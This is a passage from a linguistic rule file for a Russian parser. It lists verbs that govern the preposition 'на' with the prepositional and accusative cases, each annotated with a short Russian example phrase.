// тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы rus_verbs:оставить{}, // Мел оставил на доске белый след. rus_verbs:оставлять{}, // Мел оставляет на доске белый след. rus_verbs:встречаться{}, // встречаться на лекциях rus_verbs:познакомиться{}, // познакомиться на занятиях rus_verbs:устроиться{}, // она устроилась на кровати rus_verbs:ложиться{}, // ложись на полу rus_verbs:останавливаться{}, // останавливаться на достигнутом rus_verbs:спотыкаться{}, // спотыкаться на ровном месте rus_verbs:распечатать{}, // распечатать на бумаге rus_verbs:распечатывать{}, // распечатывать на бумаге rus_verbs:просмотреть{}, // просмотреть на бумаге rus_verbs:закрепляться{}, // закрепляться на плацдарме rus_verbs:погреться{}, // погреться на солнышке rus_verbs:мешать{}, // Он мешал краски на палитре. rus_verbs:занять{}, // Он занял первое место на соревнованиях. rus_verbs:заговариваться{}, // Он заговаривался иногда на уроках. деепричастие:женившись{ вид:соверш }, rus_verbs:везти{}, // Он везёт песок на тачке. прилагательное:казненный{}, // Он был казнён на электрическом стуле. rus_verbs:прожить{}, // Он безвыездно прожил всё лето на даче. rus_verbs:принести{}, // Официантка принесла нам обед на подносе. rus_verbs:переписать{}, // Перепишите эту рукопись на машинке. rus_verbs:идти{}, // Поезд идёт на малой скорости. rus_verbs:петь{}, // птички поют на рассвете rus_verbs:смотреть{}, // Смотри на обороте. rus_verbs:прибрать{}, // прибрать на столе rus_verbs:прибраться{}, // прибраться на столе rus_verbs:растить{}, // растить капусту на огороде rus_verbs:тащить{}, // тащить ребенка на руках rus_verbs:убирать{}, // убирать на столе rus_verbs:простыть{}, // Я простыл на морозе. rus_verbs:сиять{}, // ясные звезды мирно сияли на безоблачном весеннем небе. rus_verbs:проводиться{}, // такие эксперименты не проводятся на воде rus_verbs:достать{}, // Я не могу достать до яблок на верхних ветках. rus_verbs:расплыться{}, // Чернила расплылись на плохой бумаге. rus_verbs:вскочить{}, // У него вскочил прыщ на носу. rus_verbs:свить{}, // У нас на балконе воробей свил гнездо. rus_verbs:оторваться{}, // У меня на пальто оторвалась пуговица. rus_verbs:восходить{}, // Солнце восходит на востоке. rus_verbs:блестеть{}, // Снег блестит на солнце. rus_verbs:побить{}, // Рысак побил всех лошадей на скачках. rus_verbs:литься{}, // Реки крови льются на войне. rus_verbs:держаться{}, // Ребёнок уже твёрдо держится на ногах. rus_verbs:клубиться{}, // Пыль клубится на дороге. инфинитив:написать{ aux stress="напис^ать" }, // Ты должен написать статью на английском языке глагол:написать{ aux stress="напис^ать" }, // Он написал статью на русском языке. // глагол:находиться{вид:несоверш}, // мой поезд находится на первом пути // инфинитив:находиться{вид:несоверш}, rus_verbs:жить{}, // Было интересно жить на курорте. rus_verbs:повидать{}, // Он много повидал на своём веку. rus_verbs:разъезжаться{}, // Ноги разъезжаются не только на льду. rus_verbs:расположиться{}, // Оба села расположились на берегу реки. rus_verbs:объясняться{}, // Они объясняются на иностранном языке. rus_verbs:прощаться{}, // Они долго прощались на вокзале. rus_verbs:работать{}, // Она работает на ткацкой фабрике. rus_verbs:купить{}, // Она купила молоко на рынке. rus_verbs:поместиться{}, // Все книги поместились на полке. глагол:проводить{вид:несоверш}, инфинитив:проводить{вид:несоверш}, // Нужно проводить теорию на практике. rus_verbs:пожить{}, // Недолго она пожила на свете. rus_verbs:краснеть{}, // Небо краснеет на закате. rus_verbs:бывать{}, // На Волге бывает сильное волнение. rus_verbs:ехать{}, // Мы туда ехали на автобусе. rus_verbs:провести{}, // Мы провели месяц на даче. rus_verbs:поздороваться{}, // Мы поздоровались при встрече на улице. rus_verbs:расти{}, // Арбузы растут теперь не только на юге. ГЛ_ИНФ(сидеть), // три больших пса сидят на траве ГЛ_ИНФ(сесть), // три больших пса сели на траву ГЛ_ИНФ(перевернуться), // На дороге перевернулся автомобиль ГЛ_ИНФ(повезти), // я повезу тебя на машине ГЛ_ИНФ(отвезти), // мы отвезем тебя на такси ГЛ_ИНФ(пить), // пить на кухне чай ГЛ_ИНФ(найти), // найти на острове ГЛ_ИНФ(быть), // на этих костях есть следы зубов ГЛ_ИНФ(высадиться), // помощники высадились на острове ГЛ_ИНФ(делать),прилагательное:делающий{}, прилагательное:делавший{}, деепричастие:делая{}, // смотрю фильм о том, что пираты делали на необитаемом острове ГЛ_ИНФ(случиться), // это случилось на опушке леса ГЛ_ИНФ(продать), ГЛ_ИНФ(есть) // кошки ели мой корм на песчаном берегу } #endregion VerbList // Чтобы разрешить связывание в паттернах типа: смотреть на youtube fact гл_предл { if context { Гл_НА_Предл предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:предл} } then return true } // локатив fact гл_предл { if context { Гл_НА_Предл предлог:на{} *:*{падеж:мест} } then return true } #endregion ПРЕДЛОЖНЫЙ #region ВИНИТЕЛЬНЫЙ // НА+винительный падеж: // ЗАБИРАТЬСЯ НА ВЕРШИНУ ГОРЫ #region VerbList wordentry_set Гл_НА_Вин= { rus_verbs:переметнуться{}, // Ее взгляд растерянно переметнулся на Лили. rus_verbs:отогнать{}, // Водитель отогнал машину на стоянку. rus_verbs:фапать{}, // Не фапай на желтяк и не перебивай. rus_verbs:умножить{}, // Умножьте это количество примерно на 10. //rus_verbs:умножать{}, rus_verbs:откатить{}, // Откатил Шпак валун на шлях и перекрыл им дорогу. rus_verbs:откатывать{}, rus_verbs:доносить{}, // Вот и побежали на вас доносить. rus_verbs:донести{}, rus_verbs:разбирать{}, // Ворованные автомобили злоумышленники разбирали на запчасти и продавали. безлич_глагол:хватит{}, // - На одну атаку хватит. rus_verbs:скупиться{}, // Он сражался за жизнь, не скупясь на хитрости и усилия, и пока этот стиль давал неплохие результаты. rus_verbs:поскупиться{}, // Не поскупись на похвалы! rus_verbs:подыматься{}, rus_verbs:транспортироваться{}, rus_verbs:бахнуть{}, // Бахнуть стакан на пол rus_verbs:РАЗДЕЛИТЬ{}, // Президентские выборы разделили Венесуэлу на два непримиримых лагеря (РАЗДЕЛИТЬ) rus_verbs:НАЦЕЛИВАТЬСЯ{}, // Невдалеке пролетел кондор, нацеливаясь на бизонью тушу. (НАЦЕЛИВАТЬСЯ) rus_verbs:ВЫПЛЕСНУТЬ{}, // Низкий вибрирующий гул напоминал вулкан, вот-вот готовый выплеснуть на земную твердь потоки раскаленной лавы. (ВЫПЛЕСНУТЬ) rus_verbs:ИСЧЕЗНУТЬ{}, // Оно фыркнуло и исчезло в лесу на другой стороне дороги (ИСЧЕЗНУТЬ) rus_verbs:ВЫЗВАТЬ{}, // вызвать своего брата на поединок. (ВЫЗВАТЬ) rus_verbs:ПОБРЫЗГАТЬ{}, // Матрос побрызгал немного фимиама на крошечный огонь (ПОБРЫЗГАТЬ/БРЫЗГАТЬ/БРЫЗНУТЬ/КАПНУТЬ/КАПАТЬ/ПОКАПАТЬ) rus_verbs:БРЫЗГАТЬ{}, rus_verbs:БРЫЗНУТЬ{}, rus_verbs:КАПНУТЬ{}, rus_verbs:КАПАТЬ{}, rus_verbs:ПОКАПАТЬ{}, rus_verbs:ПООХОТИТЬСЯ{}, // Мы можем когда-нибудь вернуться и поохотиться на него. (ПООХОТИТЬСЯ/ОХОТИТЬСЯ) rus_verbs:ОХОТИТЬСЯ{}, // rus_verbs:ПОПАСТЬСЯ{}, // Не думал я, что они попадутся на это (ПОПАСТЬСЯ/НАРВАТЬСЯ/НАТОЛКНУТЬСЯ) rus_verbs:НАРВАТЬСЯ{}, // rus_verbs:НАТОЛКНУТЬСЯ{}, // rus_verbs:ВЫСЛАТЬ{}, // Он выслал разведчиков на большое расстояние от основного отряда. (ВЫСЛАТЬ) прилагательное:ПОХОЖИЙ{}, // Ты не выглядишь похожим на индейца (ПОХОЖИЙ) rus_verbs:РАЗОРВАТЬ{}, // Через минуту он был мертв и разорван на части. (РАЗОРВАТЬ) rus_verbs:СТОЛКНУТЬ{}, // Только быстрыми выпадами копья он сумел столкнуть их обратно на карниз. (СТОЛКНУТЬ/СТАЛКИВАТЬ) rus_verbs:СТАЛКИВАТЬ{}, // rus_verbs:СПУСТИТЬ{}, // Я побежал к ним, но они к тому времени спустили лодку на воду (СПУСТИТЬ) rus_verbs:ПЕРЕБРАСЫВАТЬ{}, // Сирия перебрасывает на юг страны воинские подкрепления (ПЕРЕБРАСЫВАТЬ, ПЕРЕБРОСИТЬ, НАБРАСЫВАТЬ, НАБРОСИТЬ) rus_verbs:ПЕРЕБРОСИТЬ{}, // rus_verbs:НАБРАСЫВАТЬ{}, // rus_verbs:НАБРОСИТЬ{}, // rus_verbs:СВЕРНУТЬ{}, // Он вывел машину на бульвар и поехал на восток, а затем свернул на юг. (СВЕРНУТЬ/СВОРАЧИВАТЬ/ПОВЕРНУТЬ/ПОВОРАЧИВАТЬ) rus_verbs:СВОРАЧИВАТЬ{}, // // rus_verbs:ПОВЕРНУТЬ{}, // rus_verbs:ПОВОРАЧИВАТЬ{}, // rus_verbs:наорать{}, rus_verbs:ПРОДВИНУТЬСЯ{}, // Полк продвинется на десятки километров (ПРОДВИНУТЬСЯ) rus_verbs:БРОСАТЬ{}, // Он бросает обещания на ветер (БРОСАТЬ) rus_verbs:ОДОЛЖИТЬ{}, // Я вам одолжу книгу на десять дней (ОДОЛЖИТЬ) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:перегонять{}, rus_verbs:выгонять{}, rus_verbs:выгнать{}, rus_verbs:СВОДИТЬСЯ{}, // сейчас панели кузовов расходятся по десяткам покрасочных постов и потом сводятся вновь на общий конвейер (СВОДИТЬСЯ) rus_verbs:ПОЖЕРТВОВАТЬ{}, // Бывший функционер компартии Эстонии пожертвовал деньги на расследования преступлений коммунизма (ПОЖЕРТВОВАТЬ) rus_verbs:ПРОВЕРЯТЬ{}, // Школьников будут принудительно проверять на курение (ПРОВЕРЯТЬ) rus_verbs:ОТПУСТИТЬ{}, // Приставы отпустят должников на отдых (ОТПУСТИТЬ) rus_verbs:использоваться{}, // имеющийся у государства денежный запас активно используется на поддержание рынка акций rus_verbs:назначаться{}, // назначаться на пост rus_verbs:наблюдать{}, // Судья , долго наблюдавший в трубу , вдруг вскричал rus_verbs:ШПИОНИТЬ{}, // Канадского офицера, шпионившего на Россию, приговорили к 20 годам тюрьмы (ШПИОНИТЬ НА вин) rus_verbs:ЗАПЛАНИРОВАТЬ{}, // все деньги , запланированные на сейсмоукрепление домов на Камчатке (ЗАПЛАНИРОВАТЬ НА) // rus_verbs:ПОХОДИТЬ{}, // больше походил на обвинительную речь , адресованную руководству республики (ПОХОДИТЬ НА) rus_verbs:ДЕЙСТВОВАТЬ{}, // выявленный контрабандный канал действовал на постоянной основе (ДЕЙСТВОВАТЬ НА) rus_verbs:ПЕРЕДАТЬ{}, // после чего должно быть передано на рассмотрение суда (ПЕРЕДАТЬ НА вин) rus_verbs:НАЗНАЧИТЬСЯ{}, // Зимой на эту должность пытался назначиться народный депутат (НАЗНАЧИТЬСЯ НА) rus_verbs:РЕШИТЬСЯ{}, // Франция решилась на одностороннее и рискованное военное вмешательство (РЕШИТЬСЯ НА) rus_verbs:ОРИЕНТИРОВАТЬ{}, // Этот браузер полностью ориентирован на планшеты и сенсорный ввод (ОРИЕНТИРОВАТЬ НА вин) rus_verbs:ЗАВЕСТИ{}, // на Витьку завели дело (ЗАВЕСТИ НА) rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА) rus_verbs:НАСТРАИВАТЬСЯ{}, // гетеродин, настраивающийся на волну (НАСТРАИВАТЬСЯ НА) rus_verbs:СУЩЕСТВОВАТЬ{}, // Он существует на средства родителей. (СУЩЕСТВОВАТЬ НА) прилагательное:способный{}, // Он способен на убийство. (СПОСОБНЫЙ НА) rus_verbs:посыпаться{}, // на Нину посыпались снежинки инфинитив:нарезаться{ вид:несоверш }, // Урожай собирают механически или вручную, стебли нарезаются на куски и быстро транспортируются на перерабатывающий завод. глагол:нарезаться{ вид:несоверш }, rus_verbs:пожаловать{}, // скандально известный певец пожаловал к нам на передачу rus_verbs:показать{}, // Вадим показал на Колю rus_verbs:съехаться{}, // Финалисты съехались на свои игры в Лос-Анжелес. (СЪЕХАТЬСЯ НА, В) rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА) rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА) прилагательное:тугой{}, // Бабушка туга на ухо. (ТУГОЙ НА) rus_verbs:свисать{}, // Волосы свисают на лоб. (свисать на) rus_verbs:ЦЕНИТЬСЯ{}, // Всякая рабочая рука ценилась на вес золота. (ЦЕНИТЬСЯ НА) rus_verbs:ШУМЕТЬ{}, // Вы шумите на весь дом! (ШУМЕТЬ НА) rus_verbs:протянуться{}, // Дорога протянулась на сотни километров. (протянуться на) rus_verbs:РАССЧИТАТЬ{}, // Книга рассчитана на массового читателя. (РАССЧИТАТЬ НА) rus_verbs:СОРИЕНТИРОВАТЬ{}, // мы сориентировали процесс на повышение котировок (СОРИЕНТИРОВАТЬ НА) rus_verbs:рыкнуть{}, // рыкнуть на остальных членов стаи (рыкнуть на) rus_verbs:оканчиваться{}, // оканчиваться на звонкую согласную (оканчиваться на) rus_verbs:выехать{}, // посигналить нарушителю, выехавшему на встречную полосу (выехать на) rus_verbs:прийтись{}, // Пятое число пришлось на субботу. rus_verbs:крениться{}, // корабль кренился на правый борт (крениться на) rus_verbs:приходиться{}, // основной налоговый гнет приходится на средний бизнес (приходиться на) rus_verbs:верить{}, // верить людям на слово (верить на слово) rus_verbs:выезжать{}, // Завтра вся семья выезжает на новую квартиру. rus_verbs:записать{}, // Запишите меня на завтрашний приём к доктору. rus_verbs:пасть{}, // Жребий пал на меня. rus_verbs:ездить{}, // Вчера мы ездили на оперу. rus_verbs:влезть{}, // Мальчик влез на дерево. rus_verbs:выбежать{}, // Мальчик выбежал из комнаты на улицу. rus_verbs:разбиться{}, // окно разбилось на мелкие осколки rus_verbs:бежать{}, // я бегу на урок rus_verbs:сбегаться{}, // сбегаться на происшествие rus_verbs:присылать{}, // присылать на испытание rus_verbs:надавить{}, // надавить на педать rus_verbs:внести{}, // внести законопроект на рассмотрение rus_verbs:вносить{}, // вносить законопроект на рассмотрение rus_verbs:поворачиваться{}, // поворачиваться на 180 градусов rus_verbs:сдвинуть{}, // сдвинуть на несколько сантиметров rus_verbs:опубликовать{}, // С.Митрохин опубликовал компромат на думских подельников Гудкова rus_verbs:вырасти{}, // Официальный курс доллара вырос на 26 копеек. rus_verbs:оглядываться{}, // оглядываться на девушек rus_verbs:расходиться{}, // расходиться на отдых rus_verbs:поскакать{}, // поскакать на службу rus_verbs:прыгать{}, // прыгать на сцену rus_verbs:приглашать{}, // приглашать на обед rus_verbs:рваться{}, // Кусок ткани рвется на части rus_verbs:понестись{}, // понестись на волю rus_verbs:распространяться{}, // распространяться на всех жителей штата инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на пол инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, деепричастие:просыпавшись{}, деепричастие:просыпаясь{}, rus_verbs:заехать{}, // заехать на пандус rus_verbs:разобрать{}, // разобрать на составляющие rus_verbs:опускаться{}, // опускаться на колени rus_verbs:переехать{}, // переехать на конспиративную квартиру rus_verbs:закрывать{}, // закрывать глаза на действия конкурентов rus_verbs:поместить{}, // поместить на поднос rus_verbs:отходить{}, // отходить на подготовленные позиции rus_verbs:сыпаться{}, // сыпаться на плечи rus_verbs:отвезти{}, // отвезти на занятия rus_verbs:накинуть{}, // накинуть на плечи rus_verbs:отлететь{}, // отлететь на пол rus_verbs:закинуть{}, // закинуть на чердак rus_verbs:зашипеть{}, // зашипеть на собаку rus_verbs:прогреметь{}, // прогреметь на всю страну rus_verbs:повалить{}, // повалить на стол rus_verbs:опереть{}, // опереть на фундамент rus_verbs:забросить{}, // забросить на антресоль rus_verbs:подействовать{}, // подействовать на материал rus_verbs:разделять{}, // разделять на части rus_verbs:прикрикнуть{}, // прикрикнуть на детей rus_verbs:разложить{}, // разложить на множители rus_verbs:провожать{}, // провожать на работу rus_verbs:катить{}, // катить на стройку rus_verbs:наложить{}, // наложить запрет на проведение операций с недвижимостью rus_verbs:сохранять{}, // сохранять на память rus_verbs:злиться{}, // злиться на друга rus_verbs:оборачиваться{}, // оборачиваться на свист rus_verbs:сползти{}, // сползти на землю rus_verbs:записывать{}, // записывать на ленту rus_verbs:загнать{}, // загнать на дерево rus_verbs:забормотать{}, // забормотать на ухо rus_verbs:протиснуться{}, // протиснуться на самый край rus_verbs:заторопиться{}, // заторопиться на вручение премии rus_verbs:гаркнуть{}, // гаркнуть на шалунов rus_verbs:навалиться{}, // навалиться на виновника всей толпой rus_verbs:проскользнуть{}, // проскользнуть на крышу дома rus_verbs:подтянуть{}, // подтянуть на палубу rus_verbs:скатиться{}, // скатиться на двойки rus_verbs:давить{}, // давить на жалость rus_verbs:намекнуть{}, // намекнуть на новые обстоятельства rus_verbs:замахнуться{}, // замахнуться на святое rus_verbs:заменить{}, // заменить на свежую салфетку rus_verbs:свалить{}, // свалить на землю rus_verbs:стекать{}, // стекать на оголенные провода rus_verbs:увеличиваться{}, // увеличиваться на сотню процентов rus_verbs:развалиться{}, // развалиться на части rus_verbs:сердиться{}, // сердиться на товарища rus_verbs:обронить{}, // обронить на пол rus_verbs:подсесть{}, // подсесть на наркоту rus_verbs:реагировать{}, // реагировать на импульсы rus_verbs:отпускать{}, // отпускать на волю rus_verbs:прогнать{}, // прогнать на рабочее место rus_verbs:ложить{}, // ложить на стол rus_verbs:рвать{}, // рвать на части rus_verbs:разлететься{}, // разлететься на кусочки rus_verbs:превышать{}, // превышать на существенную величину rus_verbs:сбиться{}, // сбиться на рысь rus_verbs:пристроиться{}, // пристроиться на хорошую работу rus_verbs:удрать{}, // удрать на пастбище rus_verbs:толкать{}, // толкать на преступление rus_verbs:посматривать{}, // посматривать на экран rus_verbs:набирать{}, // набирать на судно rus_verbs:отступать{}, // отступать на дерево rus_verbs:подуть{}, // подуть на молоко rus_verbs:плеснуть{}, // плеснуть на голову rus_verbs:соскользнуть{}, // соскользнуть на землю rus_verbs:затаить{}, // затаить на кого-то обиду rus_verbs:обижаться{}, // обижаться на Колю rus_verbs:смахнуть{}, // смахнуть на пол rus_verbs:застегнуть{}, // застегнуть на все пуговицы rus_verbs:спускать{}, // спускать на землю rus_verbs:греметь{}, // греметь на всю округу rus_verbs:скосить{}, // скосить на соседа глаз rus_verbs:отважиться{}, // отважиться на прыжок rus_verbs:литься{}, // литься на землю rus_verbs:порвать{}, // порвать на тряпки rus_verbs:проследовать{}, // проследовать на сцену rus_verbs:надевать{}, // надевать на голову rus_verbs:проскочить{}, // проскочить на красный свет rus_verbs:прилечь{}, // прилечь на диванчик rus_verbs:разделиться{}, // разделиться на небольшие группы rus_verbs:завыть{}, // завыть на луну rus_verbs:переносить{}, // переносить на другую машину rus_verbs:наговорить{}, // наговорить на сотню рублей rus_verbs:намекать{}, // намекать на новые обстоятельства rus_verbs:нападать{}, // нападать на охранников rus_verbs:убегать{}, // убегать на другое место rus_verbs:тратить{}, // тратить на развлечения rus_verbs:присаживаться{}, // присаживаться на корточки rus_verbs:переместиться{}, // переместиться на вторую линию rus_verbs:завалиться{}, // завалиться на диван rus_verbs:удалиться{}, // удалиться на покой rus_verbs:уменьшаться{}, // уменьшаться на несколько процентов rus_verbs:обрушить{}, // обрушить на голову rus_verbs:резать{}, // резать на части rus_verbs:умчаться{}, // умчаться на юг rus_verbs:навернуться{}, // навернуться на камень rus_verbs:примчаться{}, // примчаться на матч rus_verbs:издавать{}, // издавать на собственные средства rus_verbs:переключить{}, // переключить на другой язык rus_verbs:отправлять{}, // отправлять на пенсию rus_verbs:залечь{}, // залечь на дно rus_verbs:установиться{}, // установиться на диск rus_verbs:направлять{}, // направлять на дополнительное обследование rus_verbs:разрезать{}, // разрезать на части rus_verbs:оскалиться{}, // оскалиться на прохожего rus_verbs:рычать{}, // рычать на пьяных rus_verbs:погружаться{}, // погружаться на дно rus_verbs:опираться{}, // опираться на костыли rus_verbs:поторопиться{}, // поторопиться на учебу rus_verbs:сдвинуться{}, // сдвинуться на сантиметр rus_verbs:увеличить{}, // увеличить на процент rus_verbs:опускать{}, // опускать на землю rus_verbs:созвать{}, // созвать на митинг rus_verbs:делить{}, // делить на части rus_verbs:пробиться{}, // пробиться на заключительную часть rus_verbs:простираться{}, // простираться на много миль rus_verbs:забить{}, // забить на учебу rus_verbs:переложить{}, // переложить на чужие плечи rus_verbs:грохнуться{}, // грохнуться на землю rus_verbs:прорваться{}, // прорваться на сцену rus_verbs:разлить{}, // разлить на землю rus_verbs:укладываться{}, // укладываться на ночевку rus_verbs:уволить{}, // уволить на пенсию rus_verbs:наносить{}, // наносить на кожу rus_verbs:набежать{}, // набежать на берег rus_verbs:заявиться{}, // заявиться на стрельбище rus_verbs:налиться{}, // налиться на крышку rus_verbs:надвигаться{}, // надвигаться на берег rus_verbs:распустить{}, // распустить на каникулы rus_verbs:переключиться{}, // переключиться на другую задачу rus_verbs:чихнуть{}, // чихнуть на окружающих rus_verbs:шлепнуться{}, // шлепнуться на спину rus_verbs:устанавливать{}, // устанавливать на крышу rus_verbs:устанавливаться{}, // устанавливаться на крышу rus_verbs:устраиваться{}, // устраиваться на работу 